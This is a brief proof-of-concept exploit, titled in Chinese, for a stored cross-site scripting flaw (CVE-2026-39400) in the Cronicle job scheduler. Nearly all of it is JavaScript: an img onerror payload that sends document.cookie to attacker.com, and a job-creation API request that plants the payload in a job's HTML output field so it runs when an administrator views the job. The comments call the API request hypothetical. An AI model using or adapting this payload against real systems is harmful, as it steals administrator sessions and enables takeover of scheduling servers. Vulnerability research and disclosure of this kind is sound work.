CVE-2026-39400 Cronicle存储型XSS漏洞

/* * PoC for CVE-2026-39400 * Context: Injecting payload into job output fields (e.g., html.content) */ // Malicious payload to be stored in the job output // This payload steals the document cookie and sends it to an external server var xssPayload = '<img src=x onerror=fetch(\'http://attacker.com/steal?c=\'+document.cookie)>'; // Hypothetical API call to create a job with the malicious output // The attacker uses their 'create_events' and 'run_events' privileges fetch('/api/app/create_job', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ title: 'Scheduled Maintenance', plugin: 'shell', params: { // The vulnerable field where XSS occurs html_content: xssPayload } }) }); // When an admin views this job, the script executes.